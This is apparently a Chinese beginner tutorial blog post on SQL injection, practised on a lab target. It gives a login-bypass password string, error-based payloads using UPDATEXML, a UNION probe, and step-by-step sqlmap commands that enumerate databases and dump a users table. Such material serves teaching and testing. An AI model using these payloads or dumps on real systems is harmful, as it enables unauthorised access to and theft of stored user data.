声明:本教程仅科普正规网络安全,所有操作均在靶场实现,切勿用于不法操作,若因非法攻击产生的一切后果均由攻击者自行承担
什么是sql注入
SQL 注入是一种常见的网络安全漏洞,攻击者通过在应用程序的输入字段中注入恶意 SQL 代码,从而执行未经授权的数据库操作,当应用程序使用用户输入来构造 SQL 查询,却未对输入进行充分验证或转义时,攻击者可以通过输入特殊字符(如单引号'
、分号;
)篡改原查询的逻辑。
挖掘sql注入漏洞需要什么
mysql数据库相关知识基础以及增删改查sql命令使用
sql注入常出现的地方
登录框,get参数(例如?id=1),评论区,等等与sql数据库交互的地方
怎么检测sql注入
首先确定哪些地方会与数据库交互,比如登录框啥的,(需要首先确定数据库类型,比如确定对方存不存在sql,如果没有数据库的网站基本可以放弃了,需要根据实际情况判断)
我们进行一个最简单的靶场案例
sql登录框万能密码
在这个靶场案例,登录框要求你输入账号密码,我们可以确定用户名为admin,因为常见的web管理员用户名就是admin,还剩下密码,我们排除爆破,通过sql注入的方式登录系统
思路:假如123456密码错误,我们可以尝试123456'or'1'='1
SQL注入万能登陆密码:123456'or'1'='1
#注意后面不能加'号
#这是最基本的sql注入万能密码检测
sql注入检测之报错注入
报错注入常用于GET参数居多,常用于?id=1等等,原理是SQL 注入检测中的报错原理是一种主动探测技术,通过构造特殊的 SQL 语句使数据库抛出特定错误,从而判断目标是否存在注入点
1. 基于函数的报错
-- 正常查询
SELECT * FROM users WHERE id = 1;
-- 注入 payload(触发 XPATH 语法错误)
SELECT * FROM users WHERE id = 1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT USER()),0x7e),1);
#错误信息会包含数据库用户名:XPATH syntax error: '~root@localhost~'
2. 基于条件的报错
-- 如果 users 表存在,则触发错误
SELECT * FROM users WHERE id = 1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name = 'users') > 0;
3. 联合查询报错
当注入点支持UNION
查询时,通过构造错误的列数或类型触发错误:
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3,4; -- 错误:列数不匹配
上面的sql注入需要一定sql语句基础才能懂,对于新手推荐首先掌握登录框万能密码,sql注入注入点检测,比如输入'号观察响应是否正常,为了照顾新手,我们接下来学习使用sqlmap自动化sql注入检测工具
SQLmap的使用
安装
kali自带
apt update &apt install sqlmap
#安装并更新sqlmap
检测注入点
在sqlmap里面,分为get请求和post请求探测,我们就开始演示
sqlmap -u 'http://xx/?id=1'
#GET检测注入点
sqlmap -r '/root/1.txt'
#post请求需要抓包复制请求包,然后放在1.txt文件里面
这边很快就查到一个注入点
上边是post请求检测方式,get就更简单了,直接url后面拼接一个参数即可,这边不做演示
查看所有数据库
在sqlmap中,当检测到注入点时,使用--dbs查看所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
sqlmap -r '/root/1.txt' --dbs
结果:
这边显示存在两个数据库
查看当前使用的数据库
在sqlmap中,使用 --current-db来查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
#查看当前使用的数据库
这边显示正在使用zby数据库
指定数据库以及查看所有的表
SQLmap中使用 -'D'参数指定数据库
SQLmap中使用--tables参数查看所有的表
sqlmap -u 'http://xx/?id=1' -D 'zby' --tables
sqlmap -r 'root/1.txt' -D 'zby' --tables
如图显示zby数据库存在一个 users表
查看字段以及指定表
知道了表名,就可以查看字段了,不过还需要学习怎么指定表,然后查看字段
sqlmap中使用-T参数指定表,同时--tables也可以查看字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --tables
个人感觉,只需要会指定表即可,字段,emmm ,可有可无吧
sqlmap查看数据
学会了注入点,会查数据库,查表,以及指定,就要学会我们的重头戏了,查看表里面的数据
因为黑客的终极目标就是数据
在sqlmap中,使用--dump查看数据
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --dump
sqlmap指定线程和深度
有的时候我们会觉得扫描速度会比较慢,或者觉得对方存在漏洞却没有结果,此时我们可以指定线程和深度
sqlmap -r '/home/kali/桌面/1.txt' -D 'zby' -T 'users' --dump --threads 10 --level=5
--threads 10 指定10个线程,最大10
--level=5 指定深度5,最大5,默认3
--dump 查看数据
sqlmap缓存问题
长时间使用sqlmap的人会发现一个问题,sqlmap工作原理是,当第一次扫描发现注入点后,sqlmap会将缓存保存,以后扫描该网址直接调用缓存,而不进行或者少量扫描,这样会导致二次高深度扫描无效结果(返回原结果),此时我们可以清除缓存来解决
缓存文件在sqlmap扫描结果的下方
[12:24:57] [INFO] table 'zby.users' dumped to CSV file '/root/.local/share/sqlmap/output/ctf.zhibangyang.cn/dump/zby/users.csv'
[12:24:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/ctf.zhibangyang.cn'
[*] ending @ 12:24:57 /2025-07-06/
将这个文件夹删除即可
SQL注入的检测流程
- 发现注入点:通过模糊测试(如输入单引号
'
)观察应用程序是否返回异常 - 判断数据库类型:发送特定报错 Payload,根据错误信息确定数据库类型。
- 提取信息:利用报错函数逐步获取表名、列名、数据内容
希望我的经验对你有所帮助期待三连点赞收藏关注